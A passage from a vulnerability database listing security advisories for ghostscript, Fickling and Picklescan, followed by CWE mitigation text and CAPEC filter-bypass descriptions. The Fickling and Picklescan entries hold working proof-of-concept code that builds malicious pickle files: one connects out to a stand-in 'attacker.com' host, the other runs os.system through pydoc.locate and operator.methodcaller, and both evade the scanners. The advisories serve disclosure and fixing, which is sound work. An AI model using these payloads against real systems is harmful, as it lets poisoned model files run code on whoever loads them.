      "type": "CVSS_V3"
    }
  ],
  "summary": "PickleScan\u0027s profile.run blocklist mismatch allows exec() bypass"
}

GHSA-83G5-F7JM-C8FC

Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34
VLAI
Details

It was found that RHSA-2018:2918 did not fully fix CVE-2018-16509. An attacker could possibly exploit another variant of the flaw and bypass the -dSAFER protection to, for example, execute arbitrary shell commands via a specially crafted PostScript document. This only affects ghostscript 9.07 as shipped with Red Hat Enterprise Linux 7.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-16863"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-03T17:29:00Z",
    "severity": "HIGH"
  },
  "details": "It was found that RHSA-2018:2918 did not fully fix CVE-2018-16509. An attacker could possibly exploit another variant of the flaw and bypass the -dSAFER protection to, for example, execute arbitrary shell commands via a specially crafted PostScript document. This only affects ghostscript 9.07 as shipped with Red Hat Enterprise Linux 7.",
  "id": "GHSA-83g5-f7jm-c8fc",
  "modified": "2022-05-13T01:34:05Z",
  "published": "2022-05-13T01:34:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16863"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:3761"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2018-16863"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1652893"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16863"
    },
    {
      "type": "WEB",
      "url": "http://git.ghostscript.com/?p=ghostpdl.git%3Ba=commit%3Bh=520bb0ea7519"
    },
    {
      "type": "WEB",
      "url": "http://git.ghostscript.com/?p=ghostpdl.git%3Ba=commit%3Bh=5516c614dc33"
    },
    {
      "type": "WEB",
      "url": "http://git.ghostscript.com/?p=ghostpdl.git%3Ba=commit%3Bh=78911a01b67d"
    },
    {
      "type": "WEB",
      "url": "http://git.ghostscript.com/?p=ghostpdl.git%3Ba=commit%3Bh=79cccf641486"
    },
    {
      "type": "WEB",
      "url": "http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=520bb0ea7519"
    },
    {
      "type": "WEB",
      "url": "http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=5516c614dc33"
    },
    {
      "type": "WEB",
      "url": "http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=78911a01b67d"
    },
    {
      "type": "WEB",
      "url": "http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=79cccf641486"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-83PF-V6QQ-PWMR

Vulnerability from github – Published: 2026-02-20 18:24 – Updated: 2026-02-23 22:25
VLAI
Summary
Fickling has a detection bypass via stdlib network-protocol constructors
Details

Our assessment

imtplib, imaplib, ftplib, poplib, telnetlib, and nntplib were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The UnusedVariables heuristic works as expected.

Original report

Summary

Fickling's check_safety() API and --check-safety CLI flag incorrectly rate as LIKELY_SAFE pickle files that open outbound TCP connections at deserialization time using stdlib network-protocol constructors: smtplib.SMTP, imaplib.IMAP4, ftplib.FTP, poplib.POP3, telnetlib.Telnet, and nntplib.NNTP.

The bypass exploits two independent root causes described below.


Root Cause 1: Incomplete blocklist (fixed in PR #233)

fickling/fickle.py (lines 41-97) defines UNSAFE_IMPORTS, the primary blocklist. fickling/analysis.py (lines 229-248) defines the parallel UnsafeImportsML.UNSAFE_MODULES dict. Both omitted the following stdlib network-protocol modules whose constructors open a TCP socket at instantiation time:

Module Class Default port Constructor side-effect
smtplib SMTP 25 TCP connect, reads SMTP banner, sends EHLO
imaplib IMAP4 143 TCP connect, reads IMAP capability banner
ftplib FTP 21 TCP connect, reads FTP welcome banner
poplib POP3 110 TCP connect, reads POP3 greeting
telnetlib Telnet 23 TCP connect
nntplib NNTP 119 TCP connect, NNTP handshake

Because these module names were absent from both blocklists, UnsafeImportsML, UnsafeImports, and NonStandardImports all stayed silent. All six are genuine stdlib modules so is_std_module() returned True and NonStandardImports did not fire.

Status: patched in PR #233. The six modules have been added to UNSAFE_IMPORTS.


Root Cause 2: Logic flaw in unused_assignments() at fickle.py:1183 (unpatched)

Description

unused_assignments() in fickling/fickle.py (lines 1174-1204) identifies variables that are assigned but never referenced. UnusedVariables analysis calls this method and raises SUSPICIOUS for any unreferenced variable -- this would otherwise catch a bare REDUCE opcode that stores its result without using it.

The flaw is at line 1183. The method iterates over module_body statements and, when it encounters the final result = <expr> assignment, breaks out of the loop immediately without first walking the right-hand side expression for Name references:

# fickling/fickle.py:1183 (current code -- vulnerable)
if (
    len(statement.targets) == 1
    and isinstance(statement.targets[0], ast.Name)
    and statement.targets[0].id == "result"
):
    # this is the return value of the program
    break   # exits WITHOUT scanning statement.value

Any variable that appears only in the RHS of result = <expr> is therefore never added to the used set and is incorrectly classified as unused.

How this enables bypass suppression

When fickling processes a REDUCE opcode in isolation, it generates:

_var0 = SMTP('attacker.com', 25)
result = _var0

Because the loop breaks before scanning result = _var0, _var0 never enters used. UnusedVariables sees _var0 as unused and raises SUSPICIOUS.

Adding a BUILD opcode with an empty dict after the REDUCE changes the generated AST to:

from smtplib import SMTP
_var0 = SMTP('attacker.com', 25)   # dangerous call
_var1 = _var0                      # BUILD step 1: intermediate reference
_var1.__setstate__({})             # BUILD step 2: state call
result = _var1

Now _var0 appears on the RHS of _var1 = _var0, a statement processed before the break, so _var0 correctly enters used and UnusedVariables stays silent.

The __setstate__ call is excluded from OvertlyBadEvals because ASTProperties.visit_Call places it in calls but not in non_setstate_calls (line 562), and OvertlyBadEvals only iterates non_setstate_calls.

The SMTP(...) call is skipped by OvertlyBadEvals because _process_import adds SMTP to likely_safe_imports for any stdlib module (line 550), and OvertlyBadEvals skips calls whose function name is in likely_safe_imports (lines 339-345).

Net result: zero warnings, severity LIKELY_SAFE.

This flaw is generic -- it applies to any module not on the blocklist, not just the six fixed in PR #233. Any future blocklist gap can be silently exploited using the same REDUCE + EMPTY_DICT + BUILD pattern as long as this flaw remains unpatched.

Bypass opcode sequence

Offset  Opcode            Argument
------  ------            --------
0       PROTO             4
2       GLOBAL            'smtplib' 'SMTP'
16      SHORT_BINUNICODE  'attacker.com'
30      BININT2           25
33      TUPLE2
34      REDUCE                          <- TCP connection opened here
35      EMPTY_DICT
36      BUILD                           <- suppresses UnusedVariables via flaw
37      STOP

Fickling's synthetic AST for this sequence (what all analysis passes inspect):

from smtplib import SMTP
_var0 = SMTP('attacker.com', 25)
_var1 = _var0
_var1.__setstate__({})
result = _var1

No analysis rule in fickling fires on this AST.

Proof of Concept

Requires only pip install fickling. Save as poc.py and run.

import socket
import threading
import pickle

def build_bypass_pickle(host: str, port: int) -> bytes:
    h = host.encode("utf-8")
    return b"".join([
        b"\x80\x04",
        b"csmtplib\nSMTP\n",
        b"\x8c" + bytes([len(h)]) + h,
        b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]),
        b"\x86",   # TUPLE2
        b"R",      # REDUCE
        b"}",      # EMPTY_DICT
        b"b",      # BUILD
        b".",      # STOP
    ])

def run_poc():
    from fickling.analysis import check_safety
    from fickling.fickle import Pickled

    HOST, PORT = "127.0.0.1", 19902
    received = []

    def listener():
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((HOST, PORT))
        srv.listen(1)
        srv.settimeout(5)
        try:
            conn, addr = srv.accept()
            received.append(addr)
            conn.close()
        except socket.timeout:
            pass
        srv.close()

    t = threading.Thread(target=listener, daemon=True)
    t.start()

    raw = build_bypass_pickle(HOST, PORT)
    loaded = Pickled.load(raw)
    result = check_safety(loaded)

    print(f"[*] fickling severity : {result.severity.name}")
    print(f"[*] fickling is_safe  : {result.severity.name == 'LIKELY_SAFE'}")

    assert result.severity.name == "LIKELY_SAFE", "Bypass failed"
    print("[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed")

    print("[*] Calling pickle.loads() to simulate victim loading the file...")
    try:
        pickle.loads(raw)
    except Exception:
        pass

    t.join(timeout=5)

    if received:
        print(f"[+] Incoming TCP connection received from {received[0]}")
        print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE")
    else:
        print("[-] No TCP connection received (network blocked)")
        print("    fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless")

if __name__ == "__main__":
    run_poc()

Expected output

[*] fickling severity : LIKELY_SAFE
[*] fickling is_safe  : True
[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed
[*] Calling pickle.loads() to simulate victim loading the file...
[+] Incoming TCP connection received from ('127.0.0.1', 58412)
[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE

Tested on Python 3.11.1, Windows. Not OS-specific.

Impact

An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint) can silently:

  • Enumerate victims -- receive a TCP callback every time the pickle is loaded, including in sandboxed environments
  • Exfiltrate host identity -- victim IP, hostname (via SMTP EHLO), and service banners are sent to the attacker's server
  • Probe internal services (SSRF) -- if the victim host can reach internal SMTP relays, IMAP stores, or FTP servers, the pickle probes those services on the attacker's behalf
  • Establish a covert channel -- protocol handshakes carry attacker-controlled bytes through a channel fickling explicitly labels safe

The is_likely_safe() helper (fickling/analysis.py:468-474) and the --check-safety CLI flag both gate on severity == LIKELY_SAFE. This bypass clears that gate completely with zero warnings.

Suggested fix

Walk statement.value before the break so variables referenced only in the result assignment are correctly counted as used:

# fickling/fickle.py:1183 -- suggested fix
if (
    len(statement.targets) == 1
    and isinstance(statement.targets[0], ast.Name)
    and statement.targets[0].id == "result"
):
    # scan RHS before breaking so variables used only here are marked as used
    for node in ast.walk(statement.value):
        if isinstance(node, ast.Name):
            used.add(node.id)
    break

This is the same pattern already used for every other statement in the loop (lines 1200-1203). All 55 non-torch tests pass with this fix applied.


Affected versions

All releases including v0.1.7 (latest). Confirmed on latest master as of 2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released). Root cause 2 unpatched as of this report.

Reporter

Anmol Vats

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-20T18:24:46Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "# Our assessment\n\n`imtplib`, `imaplib`, `ftplib`, `poplib`, `telnetlib`, and `nntplib` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The `UnusedVariables` heuristic works as expected.\n\n# Original report \n\n## Summary\n\nFickling\u0027s `check_safety()` API and `--check-safety` CLI flag incorrectly rate as\n`LIKELY_SAFE` pickle files that open outbound TCP connections at deserialization time\nusing stdlib network-protocol constructors: `smtplib.SMTP`, `imaplib.IMAP4`,\n`ftplib.FTP`, `poplib.POP3`, `telnetlib.Telnet`, and `nntplib.NNTP`.\n\nThe bypass exploits two independent root causes described below.\n\n---\n\n## Root Cause 1: Incomplete blocklist (fixed in PR #233)\n\n`fickling/fickle.py` (lines 41-97) defines `UNSAFE_IMPORTS`, the primary blocklist.\n`fickling/analysis.py` (lines 229-248) defines the parallel\n`UnsafeImportsML.UNSAFE_MODULES` dict. Both omitted the following stdlib\nnetwork-protocol modules whose constructors open a TCP socket at instantiation time:\n\n| Module | Class | Default port | Constructor side-effect |\n|---|---|---|---|\n| `smtplib` | `SMTP` | 25 | TCP connect, reads SMTP banner, sends EHLO |\n| `imaplib` | `IMAP4` | 143 | TCP connect, reads IMAP capability banner |\n| `ftplib` | `FTP` | 21 | TCP connect, reads FTP welcome banner |\n| `poplib` | `POP3` | 110 | TCP connect, reads POP3 greeting |\n| `telnetlib` | `Telnet` | 23 | TCP connect |\n| `nntplib` | `NNTP` | 119 | TCP connect, NNTP handshake |\n\nBecause these module names were absent from both blocklists, `UnsafeImportsML`,\n`UnsafeImports`, and `NonStandardImports` all stayed silent. All six are genuine\nstdlib modules so `is_std_module()` returned `True` and `NonStandardImports` did\nnot fire.\n\n**Status: patched in PR #233.** The six modules have been added to `UNSAFE_IMPORTS`.\n\n---\n\n## Root Cause 2: Logic flaw in `unused_assignments()` at `fickle.py:1183` (unpatched)\n\n### Description\n\n`unused_assignments()` in `fickling/fickle.py` (lines 1174-1204) identifies variables\nthat are assigned but never referenced. `UnusedVariables` analysis calls this method\nand raises `SUSPICIOUS` for any unreferenced variable -- this would otherwise catch a\nbare `REDUCE` opcode that stores its result without using it.\n\nThe flaw is at line 1183. The method iterates over `module_body` statements and, when\nit encounters the final `result = \u003cexpr\u003e` assignment, breaks out of the loop\nimmediately without first walking the right-hand side expression for `Name` references:\n\n```python\n# fickling/fickle.py:1183 (current code -- vulnerable)\nif (\n    len(statement.targets) == 1\n    and isinstance(statement.targets[0], ast.Name)\n    and statement.targets[0].id == \"result\"\n):\n    # this is the return value of the program\n    break   # exits WITHOUT scanning statement.value\n```\n\nAny variable that appears only in the RHS of `result = \u003cexpr\u003e` is therefore never\nadded to the `used` set and is incorrectly classified as unused.\n\n### How this enables bypass suppression\n\nWhen fickling processes a `REDUCE` opcode in isolation, it generates:\n\n```python\n_var0 = SMTP(\u0027attacker.com\u0027, 25)\nresult = _var0\n```\n\nBecause the loop breaks before scanning `result = _var0`, `_var0` never enters\n`used`. `UnusedVariables` sees `_var0` as unused and raises `SUSPICIOUS`.\n\nAdding a `BUILD` opcode with an empty dict after the `REDUCE` changes the generated\nAST to:\n\n```python\nfrom smtplib import SMTP\n_var0 = SMTP(\u0027attacker.com\u0027, 25)   # dangerous call\n_var1 = _var0                      # BUILD step 1: intermediate reference\n_var1.__setstate__({})             # BUILD step 2: state call\nresult = _var1\n```\n\nNow `_var0` appears on the RHS of `_var1 = _var0`, a statement processed before the\nbreak, so `_var0` correctly enters `used` and `UnusedVariables` stays silent.\n\nThe `__setstate__` call is excluded from `OvertlyBadEvals` because\n`ASTProperties.visit_Call` places it in `calls` but not in `non_setstate_calls`\n(line 562), and `OvertlyBadEvals` only iterates `non_setstate_calls`.\n\nThe `SMTP(...)` call is skipped by `OvertlyBadEvals` because `_process_import` adds\n`SMTP` to `likely_safe_imports` for any stdlib module (line 550), and `OvertlyBadEvals`\nskips calls whose function name is in `likely_safe_imports` (lines 339-345).\n\n**Net result: zero warnings, severity `LIKELY_SAFE`.**\n\nThis flaw is generic -- it applies to any module not on the blocklist, not just the\nsix fixed in PR #233. Any future blocklist gap can be silently exploited using the\nsame `REDUCE + EMPTY_DICT + BUILD` pattern as long as this flaw remains unpatched.\n\n### Bypass opcode sequence\n\n```\nOffset  Opcode            Argument\n------  ------            --------\n0       PROTO             4\n2       GLOBAL            \u0027smtplib\u0027 \u0027SMTP\u0027\n16      SHORT_BINUNICODE  \u0027attacker.com\u0027\n30      BININT2           25\n33      TUPLE2\n34      REDUCE                          \u003c- TCP connection opened here\n35      EMPTY_DICT\n36      BUILD                           \u003c- suppresses UnusedVariables via flaw\n37      STOP\n```\n\nFickling\u0027s synthetic AST for this sequence (what all analysis passes inspect):\n\n```python\nfrom smtplib import SMTP\n_var0 = SMTP(\u0027attacker.com\u0027, 25)\n_var1 = _var0\n_var1.__setstate__({})\nresult = _var1\n```\n\nNo analysis rule in fickling fires on this AST.\n\n### Proof of Concept\n\nRequires only `pip install fickling`. Save as `poc.py` and run.\n\n```python\nimport socket\nimport threading\nimport pickle\n\ndef build_bypass_pickle(host: str, port: int) -\u003e bytes:\n    h = host.encode(\"utf-8\")\n    return b\"\".join([\n        b\"\\x80\\x04\",\n        b\"csmtplib\\nSMTP\\n\",\n        b\"\\x8c\" + bytes([len(h)]) + h,\n        b\"M\" + bytes([port \u0026 0xFF, (port \u003e\u003e 8) \u0026 0xFF]),\n        b\"\\x86\",   # TUPLE2\n        b\"R\",      # REDUCE\n        b\"}\",      # EMPTY_DICT\n        b\"b\",      # BUILD\n        b\".\",      # STOP\n    ])\n\ndef run_poc():\n    from fickling.analysis import check_safety\n    from fickling.fickle import Pickled\n\n    HOST, PORT = \"127.0.0.1\", 19902\n    received = []\n\n    def listener():\n        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        srv.bind((HOST, PORT))\n        srv.listen(1)\n        srv.settimeout(5)\n        try:\n            conn, addr = srv.accept()\n            received.append(addr)\n            conn.close()\n        except socket.timeout:\n            pass\n        srv.close()\n\n    t = threading.Thread(target=listener, daemon=True)\n    t.start()\n\n    raw = build_bypass_pickle(HOST, PORT)\n    loaded = Pickled.load(raw)\n    result = check_safety(loaded)\n\n    print(f\"[*] fickling severity : {result.severity.name}\")\n    print(f\"[*] fickling is_safe  : {result.severity.name == \u0027LIKELY_SAFE\u0027}\")\n\n    assert result.severity.name == \"LIKELY_SAFE\", \"Bypass failed\"\n    print(\"[+] fickling rates the pickle as LIKELY_SAFE  \u003c-- bypass confirmed\")\n\n    print(\"[*] Calling pickle.loads() to simulate victim loading the file...\")\n    try:\n        pickle.loads(raw)\n    except Exception:\n        pass\n\n    t.join(timeout=5)\n\n    if received:\n        print(f\"[+] Incoming TCP connection received from {received[0]}\")\n        print(\"[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE\")\n    else:\n        print(\"[-] No TCP connection received (network blocked)\")\n        print(\"    fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless\")\n\nif __name__ == \"__main__\":\n    run_poc()\n```\n\n### Expected output\n\n```\n[*] fickling severity : LIKELY_SAFE\n[*] fickling is_safe  : True\n[+] fickling rates the pickle as LIKELY_SAFE  \u003c-- bypass confirmed\n[*] Calling pickle.loads() to simulate victim loading the file...\n[+] Incoming TCP connection received from (\u0027127.0.0.1\u0027, 58412)\n[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE\n```\n\nTested on Python 3.11.1, Windows. Not OS-specific.\n\n### Impact\n\nAn attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint)\ncan silently:\n\n- **Enumerate victims** -- receive a TCP callback every time the pickle is loaded,\n  including in sandboxed environments\n- **Exfiltrate host identity** -- victim IP, hostname (via SMTP EHLO), and service\n  banners are sent to the attacker\u0027s server\n- **Probe internal services (SSRF)** -- if the victim host can reach internal SMTP\n  relays, IMAP stores, or FTP servers, the pickle probes those services on the\n  attacker\u0027s behalf\n- **Establish a covert channel** -- protocol handshakes carry attacker-controlled\n  bytes through a channel fickling explicitly labels safe\n\nThe `is_likely_safe()` helper (`fickling/analysis.py:468-474`) and the `--check-safety`\nCLI flag both gate on `severity == LIKELY_SAFE`. This bypass clears that gate\ncompletely with zero warnings.\n\n### Suggested fix\n\nWalk `statement.value` before the `break` so variables referenced only in the result\nassignment are correctly counted as used:\n\n```python\n# fickling/fickle.py:1183 -- suggested fix\nif (\n    len(statement.targets) == 1\n    and isinstance(statement.targets[0], ast.Name)\n    and statement.targets[0].id == \"result\"\n):\n    # scan RHS before breaking so variables used only here are marked as used\n    for node in ast.walk(statement.value):\n        if isinstance(node, ast.Name):\n            used.add(node.id)\n    break\n```\n\nThis is the same pattern already used for every other statement in the loop\n(lines 1200-1203). All 55 non-torch tests pass with this fix applied.\n\n---\n\n## Affected versions\n\nAll releases including `v0.1.7` (latest). Confirmed on latest `master` as of\n2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released).\nRoot cause 2 unpatched as of this report.\n\n## Reporter\n\nAnmol Vats",
  "id": "GHSA-83pf-v6qq-pwmr",
  "modified": "2026-02-23T22:25:43Z",
  "published": "2026-02-20T18:24:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-83pf-v6qq-pwmr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fickling has a detection bypass via stdlib network-protocol constructors"
}

GHSA-84R2-JW7C-4R5Q

Vulnerability from github – Published: 2025-12-29 15:24 – Updated: 2026-06-18 14:40
VLAI
Summary
Picklescan has Incomplete List of Disallowed Inputs
Details

Summary

Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.

Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.

PoC

use the provided script to create a malicious pickle file

import pickle
import pydoc
import operator
import os

class ModuleLocator:
    def __init__(self, module_name):
        self.module_name = module_name

    def __reduce__(self):
        return (pydoc.locate, (self.module_name,))

class RCEPayload:
    def __reduce__(self):

        cmd = "notepad" #put your payload here

        mc = operator.methodcaller("system", cmd)
        return (mc, (ModuleLocator("os"),))

def generate_exploit():
    payload = RCEPayload()

    try:
        with open("bypass.pkl", "wb") as f:
            f.write(pickle.dumps(payload))
        print("File 'bypass.pkl' created.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    generate_exploit()

The generated payload will not be flagged as dangerous by picklescan but is actually malicious.

import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))

Script to open the pickle file, demonstrating impact

image

Remediation

The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-71320"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-29T15:24:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nCurrently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly\n* pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string \"os\" to the actual os module).\n* operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.\n\nSince locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as \"Safe\" or \"Suspicious\" (depending on configuration) but does not flag them as \"Dangerous\", allowing the malicious file to bypass the security check.\n\n### PoC\n\nuse the provided script to create a malicious pickle file \n\n```python\nimport pickle\nimport pydoc\nimport operator\nimport os\n\nclass ModuleLocator:\n    def __init__(self, module_name):\n        self.module_name = module_name\n        \n    def __reduce__(self):\n        return (pydoc.locate, (self.module_name,))\n\nclass RCEPayload:\n    def __reduce__(self):\n        \n        cmd = \"notepad\" #put your payload here\n        \n        mc = operator.methodcaller(\"system\", cmd)\n        return (mc, (ModuleLocator(\"os\"),))\n\ndef generate_exploit():\n    payload = RCEPayload()\n    \n    try:\n        with open(\"bypass.pkl\", \"wb\") as f:\n            f.write(pickle.dumps(payload))\n        print(\"File \u0027bypass.pkl\u0027 created.\")\n    except Exception as e:\n        print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n    generate_exploit()\n```\n\nThe generated payload will not be flagged as dangerous by picklescan but is actually malicious. \n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"bypass.pkl\", \"rb\"))\n```\n\nScript to open the pickle file, demonstrating impact\n\n\u003cimg width=\"746\" height=\"341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0\" /\u003e\n\n\n### Remediation\nThe deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.",
  "id": "GHSA-84r2-jw7c-4r5q",
  "modified": "2026-06-18T14:40:37Z",
  "published": "2025-12-29T15:24:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71320"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/53"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-incomplete-disallowed-inputs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan has Incomplete List of Disallowed Inputs"
}

Mitigation
Implementation

Strategy: Input Validation

Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

CAPEC-120: Double Encoding

The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-182: Flash Injection

An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-85: AJAX Footprinting

